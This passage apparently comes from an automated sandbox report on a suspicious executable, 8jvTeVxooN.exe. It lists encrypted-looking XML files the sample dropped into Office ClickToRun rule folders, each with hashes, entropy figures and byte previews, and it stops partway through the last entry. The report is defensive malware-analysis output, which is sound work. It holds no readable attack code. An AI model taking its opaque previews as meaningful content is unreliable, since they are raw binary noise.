Preview:	<?xml.y..d..)T..Yo.......7.GA...c..R..LTY.3.......k.....GP.EkV.Rlk.P....7...Ja...lB'1./..C...ML.^..S1.{.......D.#[.bA._U.)]B7g.RZ..$kU...\.'I...lVH....>Wz.-Z.0..q&....g.Tgv\|.....l."6z..#.....C...g..l..&%.m............#..7..0....mz.Pz...18....g......y.-................r....W.e.~.V.2.K..X..z.n...e..{.9.wA.w. .uO .x.J.]4....D..S....4.CF0.../.X......n.6#).".3.^F.%.w....%.'...F..q....x.{`........q......cI....m.6..............n...G.....b^........)AR]H.[....<f....%.....+..Y..WI...}t.... $...PS.#....=.J8...B. Z......1~F;~A..u...=x..<$..Iu.[.7,Y:ip.......M.dU.[..H...P...O+Om..z...)d.}....tjf....>.4BXq.4..F...7@.....X.VQ1.I......^.x...K..K.......p......,u..N.9f...<.I..s.....z..diQ..[....O.*.M...GA.t..d\|d)\|.nL^.....n.H.,7.........H....d.'C.W.....I-.Q...........x:.B.R.....I..w........USJWz.7....+;R...0--..L.s4....].g............WF...[.Xs.D..:..>...{L....".L..~..(A...f.LaZ..+...V....Tr..Us..X.<X...-b.v$..D.x1.....v...5gR..KT.<8..9....../..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10821v3.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	4787
Entropy (8bit):	7.966249972515447
Encrypted:	false
SSDEEP:	96:klMtjdikL7USss3vUOg0bptvfH372v+lsn47T5Jmu0dpFb7CjVKfQrcGEcssh:Dj4kL71L3vVt7vfUn+dMu0drb48yb/
MD5:	8AD92656146C5ADF4A7ADA4C7349E9A6
SHA1:	D2215E893B367BE35A5487182DB6B74EDD472810
SHA-256:	9F983121A99D267537C703223C609BBBD793E75EFEF6A5B233D6E621A42316F9
SHA-512:	A8424B185D719AEF4C8F356302C1EDAB4116423DD9C3CAE4EA6777AA1286A87A7F4EB0EA4423A8C55F70AD0E345F61B95F197369128B8284851908C456322B01
Malicious:	false
Preview:	<?xml.T.....a_.En....(....V....oR......CWU_...l~.ue..P...z..@....StZ..y..HR.^...+.sV...\|...`JN!.9(st...}.....T.;.(.rcif...<.y..#P....UkX....C.E.o{..}O.x'...r.?l@.O..n^..."... ........(.26(.@O"F....tJ.I.. ..K. $_.F$.5.&L..^..W.N.....4......,.i..."y...~.....u.FF..%...w.r0..U;L.....ybJ.e`..b.F.~.....<......O........].\|x.H..f".k.kt....Q.nw....2i..?o..=d......u......Z...s}.i.h..%.(.9BC.d.#.aH.[>..D.w.t.^..O/......0q..>.......b...YHtz...D...L3.S&1....@ ;.>.e?.'Y......7.1..)..?...{..&.E.\-...f...P$W...........T..6OA.n..#/.!.:YC.p.L.....5,."s...../k....Y.l..,.M....A.(.....7P.X&.7'.5.B...R,u.21..3........TE.1r,...~>.S..Y..<.`...3n....vo.s.L.5v.Mi...@.9.u);..U.U...A"..o.....P.=.G].......EuA3F.....y'.$.fH....&e...t........311F........hZb...)........9...m.3..z......)....Yv.x.x..C.R..wC..f\|z..G}TQ.j.e~N.g+3...<.*.=..s.R."a_.#=.T....X.....p..+S..wK...%..[..J.D...ZN...H.?.>+.9..A..},(Zq...4&.TF.;.=...m};7..Kw.%.....(G.{..c.;\|....=r..h1b#u....F.nYo...._Z..<

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10822v2.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	4786
Entropy (8bit):	7.961666729996696
Encrypted:	false
SSDEEP:	96:3uhtRgB5j5Yxx2jtpGM61myE/+zUJJKGPz0GW9EO9pK3R:+LRk5Ex2jGM61Z/wJkbGWuxR
MD5:	11A9C4AD4BC630914C899D5AFF906207
SHA1:	9E21AF913AFB6215677CB362BAE2B845E1D38652
SHA-256:	F9D0FC16E57B77897F8D43EFC396A7499F4D6241B31632AE1EE9EBF28F9EEF0A
SHA-512:	7C870BAE12BCA91A52E1C9D4AB3957E258FA2F25694CF8928F4D9326BEC5368FFC8D199734EBD27710F0D75E638B1FE38C193C6C7B90A09F1AAB4E6313A007CD
Malicious:	false
Preview:	<?xml...{0....\|......B.\|._.'.4`.j. P..GT..4\|.=6.By.._:.F...c.t2....:...R4Q.....aD..9.8h.....SL...N....6+..^%p0.....=!../..K...D.<..9..L4r.<.t....e.............S6k'.O..]..Sy.A....,w....?.\1..06]....zK..%\N^6....s..EPr...o......u!..d"g..:.....E.xN.9..7..~qvr<.\/.0..T....'.9.i.'..tOaV.^.,.0X.-9.]...4RF.......7..U...C..d.....Zv.g..V...y%......?.4..pN..~..h.^....$..6...vh&..=.....k..LZ.?.p..M..`.k..3..'[.q.N.4......a"...g..O...K....^..cP..ul8..+..=.o.6..u....K.;..-pIrY8..q}...X.....&...p.n......0..Q. ....'..#.....2..&. ..\.`...>.m..9,.]g.s....ne........f..9z.Eu.p.T:.c:..cK.............TI.!.yh.$.....wM..U....b..Q.ri.4.`.....S....}`3TA..-.M.l..3.(w.....>.Kh.-`..g.C."6.D...{EC..B..Q."Y...x..V:...;.B.dl..L.$.A.X..H~.....W9L..R0.....Oe.-.u{q..).:.%.{s.j..'..\..-+..ux.f...X.R..sm~LF...._'....f......>.h...../...._.=.f]... .... I.Mj.)}..99.....E%<Ky.Z....R.q}$;....$5.S...34}a.[S..E.7...Sp...g.Ou......Y.....b.`+..t..p;.7...)...B/..{.3._}....*

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10829v1.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	3030
Entropy (8bit):	7.946179340637307
Encrypted:	false
SSDEEP:	48:IlG0XNx+p3uY218TjfJyP6zSynYcKdleEYnnyfvADxFs1cXsLrG1BGPgzaBCD:IFXr+p3o626/el1YnKYDxFseXfOPc4K
MD5:	C5A34C1465444ADC9A4B05B2F5F5A749
SHA1:	C69B91804E67B54058D996AE656A94E4D08F339D
SHA-256:	822748579CB00AEA692C749938283CC16DCBEE3EE947468FBA4E6DF15EDF4006
SHA-512:	AE17AB03421F41CCF28D263B92FFB5F0056040F9071B5A40A509D357D666511260BCF2E5F44DA0D84EB809BC5FB8B675C5114143906F800C437938D27D9CEE18
Malicious:	false
Preview:	<?xml....;H...0.N......v.NR....7.+~.O.zh.....d(7e....1..!$N.Gu.(8B\|C...$.o......U.V..d.........{.<..R+.#.uIr.._W_.y^.......hD[.?5N.}uMY5R..z.o.~m%.........V-......M..;.4..j%7....X.}70.Rqw....._c:.){-...q{U.k.x.....q..........yL"..nVKoZ./.o...@....$bv..N2..n.PQ.3l.....G[..I..+.k.[.......E_.aU..JZ.......A.W.~.5u....n.ca.f..}'5..67.!.k.a.......-..x......e...M.[.[{..<....0..l6X...}FKc.]......} .}..T..$.h.9...$.@.)...6?py....'9.`...F..N..,.E..'t .5.#-.t".w.V.>............k.. A6:[.....#...W..p..3M.@....L..K-./....._r.....z.5...A.r....,b.".hF.[...%...l.E....W....A.7@.r...;../F.....]....=..(.)D.F..fi.+......y.3z.....Q.....+.B@.M$.1q~!?....K.....N}:h~...d..,..b.UV.....>...LA.)..4.m]x-...%O....a..u.`(...eW..L..!..:;.qI...E.........Z.^..p.....}.L......5h....AI3..DoH.A......e.Nv...V:.n6.c?......~U%Q.au;.K.......L.z.fN~ .-....;..w....5.2n.....(n..d..n........?.....uSJ.T...)...s. ...6.*Rb....Ll.h9... j/F...T...F#......O{.L.\|f._CHD~....,..u.r.._...5.P.=Oa

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10879v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	789
Entropy (8bit):	7.697645532860726
Encrypted:	false
SSDEEP:	24:gye37NzjAB69wYUuIQx8tMzjodQmHRY3G5lSObD:gr6B69RlIQxOMXo/HB1D
MD5:	A03C25AEADE98C458172A4BEB91AE2A5
SHA1:	4CA9D5BBFCEDD96D5D16BDE860B239C44B7F9018
SHA-256:	94F6AEE36B8EDFADB0E46262584773785FCBC9270C3E6C0D12A3A63D5223E078
SHA-512:	3D048A862F107DB5382C0C4514F50D06C13A1584B71A41695C44AAFA383254F49F2A9F8229C1E34C96914D6DC5888576F95A1364CEEB9C61515AFD5BD076B391
Malicious:	false
Preview:	<?xml.j2Q...r.......<(.'..a..n.............%._H.....9.'..Iz.2..}b2d.W-.(...@wl.6...w .....Z\.&.0.....ew.\.u.........P...[F......Thy.QIblM.m..v.....DLtS^\|..V....xK...C..A.)...]..y.m;.f.7O=.z9..MFx.^c.}.1...1.T...L>.+..>y...]I..<....q........H...jH"..(."FA.q.D.2b...3..1..~s..\.k.....}..je....[..{`.{.s...M...cM8..z....@._...).j.[{........6.yy..>A...1....$.XL.=.9.......)HI.;.OS...kO..f1^.5.`!...V.O..^..6yV..N.."%.Fn..{....gD.T.XN.]..q.....<>.w\|...1n..Cq..^..?,.. .b...%..O.=..Z5....t.(..d.}.'6'....q{Ep\./gs.....d).Oi..-.oE.......e.......b..J...I..c..8.&.,S..~.?.Q....5.tL...1.#g..d......8..?..>.8.....~O..s?Og...!.MMfOL.*...3.fU......K...T.q.5...G..x.&.S.s).C...Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10880v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	3017
Entropy (8bit):	7.925868647701262
Encrypted:	false
SSDEEP:	48:6cZTbTGf0zaLHByxkyZCw9KNjBPjn0Wr6+L50HXRSTS9Z9tOZz0Z/uPciVi5a5cV:6Spm8xkGC0cPjDPL50Bgm9RJZX5L
MD5:	748B058537A436971E7561111647BAAC
SHA1:	6ABC7AF5E810E1E23C6B65405EBC38CA4B8C89BF
SHA-256:	8AD195AFE40F857A3EF6BEBADFF7DEFA5047209A7AE761566E5B4A4400D78C97
SHA-512:	FDE77FB428381B3D7505BD04F8250C954868CED00A80575D291BAAFDCFF334FDC939FCE12988DD87830687E6DA40AC3A193F44F412E261B40823C16AA70CDA49
Malicious:	false
Preview:	<?xml..a..3...[S...+.j.U...."4....w8..}G=AJ-..........i......y.,...^(M........4.C...Y..h.L..h07%V...'$...+....(.rEc..`....N......}.....oy.o...#C.L..\?...r.V...!..3.)......U.:.;.n,I...V.m..v.6."....:..~9.?.lKf~.h...^...Dc.v...r...k....".76)..\$..Lx...Q.bZ.X$ ..1....v.8....2....+......1.-f.....1..G..-h.....y\..oh....i.n...P.9f.`.%.t.9q..0...t.^S.5<...1..........$......(.z\|..p.8Q.~....-6c.........A....\|......IL....R$.y.2.]..+.-.....M.+m..EP.)~.2?^.5...E.+.....1.}.8b.py.raz.D.?.p..+.;q....B1.$DK9s0.g.y...7..3...[.."B~<....w..Xc......t[...X..m.m...._..3.h .)s.m..T.G.<Jr....S..k.d....,..p.._...7...uP$..`[.o.F+_...+...^.i1Q\.&hT.......9.L..\|...{q.W&.4..F.);.^j....-~...XG..ce..h.e..p5(...H.).K.p....~.......8...s.\|{.......w...j.5.$..]..F.....E.M,.2...N...L......i.-....f...y..mE.,...s...g....~[{.U.........?!.js.Q.a.....7]We..e.....d...YJ.\|.N.c..NK.B z.T..b...t.....%-..sE5.l.%0...^?#.UV./.......^..\...O.a-...\|J!...vt.....zbj\|..Fv.h.u.<4[..Rd-.\.b.8.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10881v1.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	823
Entropy (8bit):	7.700798715560471
Encrypted:	false
SSDEEP:	24:/d3bqbnWDb4J/PkREZ1SWLYtA3zrKTObD:l3uzcb4iRU1STtA33KID
MD5:	01D690B3CE87B0FB61B826F523B63D18
SHA1:	4367E89602C4EE7D9826E447F24EDDA99AC6B33B
SHA-256:	CD656E1BDAE542CCE7AC1BB831ED25CCA975F1B43867E7AA70A659E816C7B9B8
SHA-512:	4A3FBBCC86C0A85CE58D60CD9C9920D16FDBCD3F830951F400C60D56B7DC222B44FD64CCC90AECC23A84857B6DD9EABBA96248ACC24E809564945B0F74C7E5DC
Malicious:	false
Preview:	<?xml...2......]...V.$.)d..9f!..tk.g.._.S.X;.pB....u.(d.'....yZ..\.7.x.m.2...:.........0...lA..z.<%'.<.^..x....Z..$....6.:.5. }%~1..$!..D`..^(..{...m.W...3..O%X...}].U..:./yi..O.T..\|..y.X...u...0a^..X.E...p5.,.....{.li3qw2.B..E/\|ew.\|.....7........8...%...7o.OV.b&Q..~C..\c.....a.....7E..sh........`.W.O.....g.O..e...HO,Cdo.....Z...Q&.WDH..5...y>. ....[^W..g..B..n,4N=W:.0..2v.V..zNC........%UJ.B).....0....O^S.-.n~....\b......&...?f......lH8.G..A`......P.m..d....F#n...+.,,.._j.r....P.y..O.Ci....N.2.f).T....YeV.....).F...A....tY.[...oY.Cv.Rg.}.q..W$..h=B.!D..3'.9.>....._....O%...m........b...7.4d.............7.._.\?..dQ..H.....Q`.....Z....W7h.\k]).J.J...b...g.g.z..P...B.#..M....w..l.....z............?te....gZ6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10882v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	3017
Entropy (8bit):	7.927343359161412
Encrypted:	false
SSDEEP:	48:IJwM1itdTbjFDbx2e1CJf3vFaqiMefyk24sqrA42T64V+bcJ9fLX7OewD:GwM1eDv0V3MqFeJ24sqkFvqo9T7rs
MD5:	086C877D7CA80D6E44DCF1BA23067DE2
SHA1:	61D49136F0BE6E5ED96A2CF5CC09F5F67CC6A8DC
SHA-256:	6CF566C1B1FD456887DE35B7A40627E40B7CA64423BA19375A2773F3EC05988C
SHA-512:	CDF6B76876D2712EA3159C2A5AD3A80898D3BCE79D84F7C2EBA7991BCC2861706AB5EF594FAC743722A16F85BF4B1FA8D7D206DAEF4CB36F74177367ECE9B5B1
Malicious:	false
Preview:	<?xmlBm...7..@.......i.........._:...>..y..I............mdm.2.l.w.t.._.b.H.[.ej.sM...r.o.0.!..^..&.]. "{.O.8.p..H.&."..P6X.m@.&}.u...j.(........4..&......X7.;....QwG.z..X..7$..E/.3....`a.......e....`...+...C...$.M_..W.3X...m..'....H.a<{c.2.......bV....2AI...k.s...z..5...3.+.._k]b.......^.uZ....d.i..G.t.N..A]W[Y...T..){...+.0..h..XI.U&/p..1Y......5..H....n.gwn^2........{Z.e..B..5X}.n...6...q..A....q._`..].............E.....`...<..j...q/=.LK."F...\..9......4.G.....7..%.{.).~.$j.. ....$.?.q.....Q.1.#......{.H.g$....n#..+Y..1...Q...M...)..Fg.h..^D..P.. ....R...9....`.%..s..{.P..f.......}....ig.K.X....#........a.[....-.o.DD].]<.0.<....k....9ik..Mz.l.O/..6.o....D0?t..?#....N2f<V\,.SCD....nB.b...,..U..Kt......93;.%.R..n..H..u.H.I...S...1..i@VMA.k.. m.z.<.>;I.F.j....Xx....P....-.n.... ...tk...<.z...`e...N.m.x..6.........U.4\|..Uu...X%....t..a^.. ..u.{...i......@..&.[..-7.y.BR.!x.d$.c...$.y.tt.Z..56:..l.K..4....r.....[.$.$N.Ye.0..g.....oT%.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10902v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1021
Entropy (8bit):	7.805031367253679
Encrypted:	false
SSDEEP:	24:PFSJXZxDWDQjrj3dRN3y6uqMCfvmnQYfgyH8ObD:dSJXZFj/b5y6uBweng+/D
MD5:	452E353AB3BEDC6ACF57703AC877124D
SHA1:	69543AE5DB222B838F4A7EC5A1387D37BB132800
SHA-256:	1EB803E58041ACCA9BDDBEEDFE6D414B6AB3E587B88C0FAECD6BE0C3249E43E7
SHA-512:	0CEB6F595041F0C0D00B764FB456614957EA01AA3D6E947ADAC0E67EDC13BC5E461DD092B866E681BDEC56211C8C9A3D4434A0DCF7B5F6DE276AF410A007164D
Malicious:	false
Preview:	<?xml..tt..B_...;X...KG..'.r...!.A..1;?Ywp.hz.-.....~..r.i....(.9..r..j....s.....v...y.o....rbX........T.s,....H."Em.\|+...Q4.I0I..I.....1..v..../`....F..C ...:.......W.F...-.Cx...s..u>..!S16..nl6X4..V.=......47..pJ......Du~.I.....K=..LY.1.r.>......E.!.UOy}..s3..[.. L..P..IK.....y.co....+.....3}....t^).Q.......tN..5..1!..Ag....(.z@.w.8.;......P..@8W........H..1..).s.!9!..L-.@..#.-:U....=.$h...../h&.....N@+L...9..b......A..ihe....~.Er...%.....<+.......J.IV.....k......,.....r,.....m...5....".."1...f.6...?[....~.p.?...9TTx...@..F......+..H..{!de.H.DG....O?...u..z....z...VJF.Z..\|............'..4..?].j.a.n.....Y.Z..H.&b>'f....{..ac...s#J.kFv.U..~..X=!...&.....G..].?.].<...d5.Ju_.....A.`.N#...G.w..<.Y.X~.....:+...Jc!.+....V....z......N.9...5.K)%.K.T.q...I..~....TY..r.z..5iyLISI'..p....)N..s..u.&[....>...i....{f.T/\.k.d`R.S9M.;...J...v.C.....tD.4X.."^~.2..Z..y...].7A.1v.!P./.&."5E...s...Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10906v1.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1398
Entropy (8bit):	7.846886162822634
Encrypted:	false
SSDEEP:	24:VkBJws4wp/aEenExHxZj2/WWMF8RmBSXR3VzabSZLOZZcdxjObD:VkBqsfaBWr2/WmaSh9aGccYD
MD5:	418E1202A77B50BAEA8E339E33A83F05
SHA1:	1F6D6E2B507E3198BF8ABB50D59CBD4A9D3C9EEA
SHA-256:	789F94398C4664211FB4FB50B7B691B4FA294ED40F0BDB60A4B2835A95D3B385
SHA-512:	B432366990419053B68D6E76010025421078B737FCAEF43C8564CEF187ED9B56C34E8103DBBA8B901613B0DE2E10CF942536F5BFA5CA1182EBEA4E4146D3DD03
Malicious:	false
Preview:	<?xml...bX.....@.g`t.2...&.....tj...b..-..4=......p..h\|....$.N....-......V.^...o.0............j_I..1...X................G....q~V...8...3.O...F.}.@..e.ao(..%...G6........2ZR.lA{......".....C.CV..\.."Z..7...za&.....D..bQ.?....?..~........6....=n..1}...^.O........w~A..9..W ..Q;.{k_.ca...W92-Zxv......(Q..@cP..Pl(c.k.h..m...'w..@.....:..,js...].S..f...G.).H..%...d?.PoVa9...q...%..e.:..r?.{.lBH..`...N~O...."....}.8.j".%......<:.:6....D.N...6..\|}..Ur.1.....9*..3....2}bD.P....w._.............m..\|.\|@..".-.S.M...t.3q..2.%..V..}.2..pe....`...@.]=...w@[.qeOP.'....#;.w.P....e..Z.Y..4..h\|..3.......[Y..t..p...f:.....p....oH.O..Y.iv. RHWt.Y....x.j..;'....1....X..EBa~.i.....?.}......[..._I...RcgQ..ah.5.>,..60JC.e.l"@N..6..9..5...O&c -...+....P.../$d338Y......E..D..(gY..y.r...rW"..=w...e....[...k....X..D._..s{..= ..Bcy..Jg......y.c-.m8....v{..y.i.n..4...t...K+.ns...U..!.7...%/..P.....%.#..d_..6A...SK5..c.i.A.....L....."....C.fT#l.Z)nH\|=.i.".R?.a.y

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10907v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	937
Entropy (8bit):	7.769878903007347
Encrypted:	false
SSDEEP:	24:IBgt2o3vwnd/L7skihC/Lqa+nSbVKuCC9YPLHZtcZ0ObD:IBAuTo0Ll+nDuCCE5tcZXD
MD5:	62A00A1308EDC67C6267226DE98D084D
SHA1:	FA3B2F838FF7F4F8CD2AB22C1F6B7EEE1009D81B
SHA-256:	377FBC6D5C485252B93452F0C7D84F860EE6D447CF7EE576C5C8749D99E7F7D1
SHA-512:	5221DCC2D61EA4F59637DE414289972944600C26B60112B5E156DFDD68C9DE8CAB9036BDD663566E4297DF56DAC5562F39A27CE9BFC50074647F9B81C24DB3EF
Malicious:	false
Preview:	<?xml..~.s...q.n....[..#......Iz.h.....F2$m/%.....s....W.i.......H. ......k.0..1T...kg..'RS..N.%...}.\|...\|............{....[b...n)..\..".........c.4.. ......eA.`\7.......;...~.+...../y....P........7....1.V.n].K....l.ai.E)wfr..#..p..hD.K...'.....n.....W+..UV.K.k.-.6UI.....>.n...%.......ugT..9H....%J..p....3..j...=V.;}..h.y.2%.J...p@...X...R..?v"5......dJe....^<...l..k..a.....J.u.......=kg$...p0o...K.z.e3[6L..u.?.6.,.`X.Nd.l]..........E...H.V.2.....8..0D...(O(.x.V..2.yF./?...f...>.A.0...kp9z.CD.q\.D.G<........bv3....v..)..Q2NC......g..t..!..(.E....V....X.2.b..N...z.."5..7.E...K...Dr#....\|I....j.]..."..Z.....b.}..I.M$....m.^....?Fk...5 ..M...}.....^e......7.........W.'...)G.....9..........e...r...G..m.Q...s;..&.@2.:0...(u.oz,..]..Pcp.FV..VrI.(....m1.$i......s..J.Qp.$....N.9uf.'...F....Hd..]D.f..6.ERp.*;cnZ6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10924v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	891
Entropy (8bit):	7.760593400807504
Encrypted:	false
SSDEEP:	24:eSXS/kOFSyPJHNOfS+SogOS3uEEbCMSJbFfU8GFQcObD:eSXCkOgyPF4fS+DPIZmj6NUVFQfD
MD5:	ED1059FB8ED6EEBDE03B388C45E7D5D1
SHA1:	5442888B0E1877CC1E25D5625E8BCE9D347EF840
SHA-256:	7DB2B2B9A721576F392D93B9E72F53B4EB2BE1FA1BB21CFE4027D3B1C6EBE7C6
SHA-512:	48B1A4F395A5085FEF9497E835102E2D934E4E4F0B29BFB0DD30CD83107E3EC41381436EA117314E9BA5EE920E49C1B6EC3B6D06A09DC268A3E1714F269CC403
Malicious:	false
Preview:	<?xml_.[......vl.~l.T44.'.:#l[.q"..X.?sD..s......tu..p..jnq.........F...q~f%............w..l......]?..!r....n...7ED..C...W@..T.t...A.J.uG"e.u.W......QE..Z?..I.f...../QY.=..s.m.._+.6#C2... ..M..'`..!.2..N......7..<,.7..:b..MO..>.'\|..F>.D.<......a...-.i..z).D.>Uc.....G......D...98.j.+...nw1./..P(.....d:.${O.e...1..).%...uU.X..F.....i'Fn.>..6.pjR.4.b..>=.k.F.68.....'.9m...?)..yCN..S..-..~n...'...Gs.8\w..h.8......u.w.>3A.'<....^.,.....6ql.Q...g..B..1...C;.`r.z..Nf......I...=...x.#?y..T..."..=.S.....?.....m..........>%.o...+...0.J.......~.....Ro.....uhC.......Nb..7&(kD..u....O..)Lt.k..j\|Rs.:.....;.X\b....i.......ky@U<...+...3..x..[gn..~..l.~..BSIiF...<T.]...>.1/.'.d~.zv?>.[e..z.&..cl..Tx5.O.P.6.3f..,.tpi:.....t..v*..t.Gg..<..Z\....\|.d.....y....>\|.]..<Dy.!.g.9..bZv.7...&Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10925v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1049
Entropy (8bit):	7.809223883314857
Encrypted:	false
SSDEEP:	24:YxWsEphFq+jBQ2tqGTmA8bivHfvWlRMdIX05o/aObD:5lpOGBQ2TTtsivHfe0+wo1D
MD5:	50D17D17A306D70FE55A2883DFAD65A9
SHA1:	DD4253B563DD8A92D1FCAB1EB3FB37B0AD667919
SHA-256:	CB944C9CB7F4C6A3306E5FE773F0BBE004412E5B44C90517BA3C7F7544DA1E6D
SHA-512:	0FF26DD7CE67D6D12524371F1C0B2FE5D737F5F952489075AA36CDB7FE2F556AA80CFC8ED4287C734B5972D7BABA78B655DEC02A6AFFA0348991F68A64D285FC
Malicious:	false
Preview:	<?xml w.)..a.+.e..K..z.....#4..b.".o.V..$%W.S......w.,DG....K.....2{;...X{.}.?5H...)..VJ-G.....\.G.^#q...y....t.f..L'9..........r..4.K...4.....(.]o..2\..V..,...3...~.T3..t.Q.^. ..,^pN.S...:./Vl....... ....E....i...][.O...k..J.g....).&V..v.;...F..g.1.@.....#L.xH..^..~.5.!.M..~.......9.fj....9....H..\|g.}.f/d'1J6.E#..o.v.$ey.kr.pz.Ff.^.A..I..+<2.FL..+...B...wi..W..K'RB.[.@3.s.Q.....+..gz9Y.i...j[........s5c7..&....P5.e......i.T.).d4.-..........#...`QYx/..3L2\<._.T".........]^OW..Gz......Z..^...8.^.%...@.g....-%.W....R...!..}DH.::.......3.+\.7..A...x..{.....4W%r...yx.z.(w....q.M2[..rW....'6)......&X.Z9.....#...5..C..]....0..:..\|.<2.6.q...<.C..\.@.......`pp.n...v.4i%.......k....\|...bM...\X.(.AZy...oW..T..."?..%.h'\|{..iBb.=...6........0,..:...,.L&P.Y...1.KB34.>....2..3.T.q..........$..........f..,..J.L....6..{.T^.n.]aF_........m....._@..\I.=.p...py...hQ.P.....\..../.b....;..2=I........R.2..I...{.$e%..Z6iwSvCoAt8T8K2ROxecuXHPNHv7e

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10940v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	885
Entropy (8bit):	7.738162952048965
Encrypted:	false
SSDEEP:	24:5cdFaQhqqN+oKigu6Qt8Kx5gnfW7gRzObD:yf5Nd7bm8gRoD
MD5:	1BB4C4731E1A2084358D9E608742ABC8
SHA1:	963892D029217458890D39A5CEC6CF26261F763D
SHA-256:	69CF7532CF27220B41CF6A114A7F497BB11BB6758ECA36F37DFB675B56B33814
SHA-512:	812305DE13ABCC820ADE3D2BCF24D7C468C469A0F70CD7533502E6D6F0D88C6DF3D39B23FED2D64A0715DDF1823A52133DA31616C5E0BEB29261DE7AD5A3BC47
Malicious:	false
Preview:	<?xml........j..f...j....x..Z...BlCi<.y...-......K..q..a.!...T..c.(.....e..5$...:.x....0.1.X..Q.`E.KW^2...+..,..B.~....B...D...).%...:.9....b~...^.h..\|...-.Ur......^...}.....c"..Z.N..Zv.oy..cj.m..T..R.3.I-?.E..<RH..Hd0.}.er.]:..D.....q.+C..M.WI\|MEm...!.X.g......+W.j....".E..e.Z..\`.NKC.w..4......=p.k..a ....}.. ... .....M..V.f.0.p6.=B..Ah...,%}\|..n4".....7...g9c.R..a....9..P..r.pIK.42kK..5..'9....J{....%.E4.W.=.,~M}.c.K.3...C......#...UV..C.J$...e7..}t..{..._...nuW+Dg.p>%....5.2......f...(Q.`.3...L.,.pX.....M.+..\|.G~.@Y3...2Np...@.+p*"V?..{.....P.RZm$9..s.)<'....(..?b.>.AC.0...#..[.qqV.a..)+.:.]."....}.O..)S..Gk#f].a..78..`:RB.Gs.n.P.E;..L...w&R2?(V.\|S...'.;....}...,..m#....BgY.R..`...A>..zx.5.t.s...&X......J.4b}.3....V..rA.....y.....?+.(y.5=P..z.4O.".B..Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10952v1.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	8529
Entropy (8bit):	7.980245049917136
Encrypted:	false
SSDEEP:	192:Soyq/QouPdvvbMOHgZxXd8THExbetV7ZmdhMiD59zinXVB5yzhsA:nymu1nbLHyyTH8kSMiF9zcPA
MD5:	43FD7C6B3B7466D08E42369E71842E78
SHA1:	293FC0475D97D10150D438FAE56823BA1094609D
SHA-256:	D5BBAC8072A9CFCA812F4B165F3AF16BEB288517E623018E6906CBED77DFDAF7
SHA-512:	D363D31A48FDDB20303A3DAB7FFD506547D08C280A21399ABAD7E8818826C972DF2839EF9D9A157592F59D4962D42AB6F561F6BEAC1F02B18BF73BB1F6B9E59E
Malicious:	false
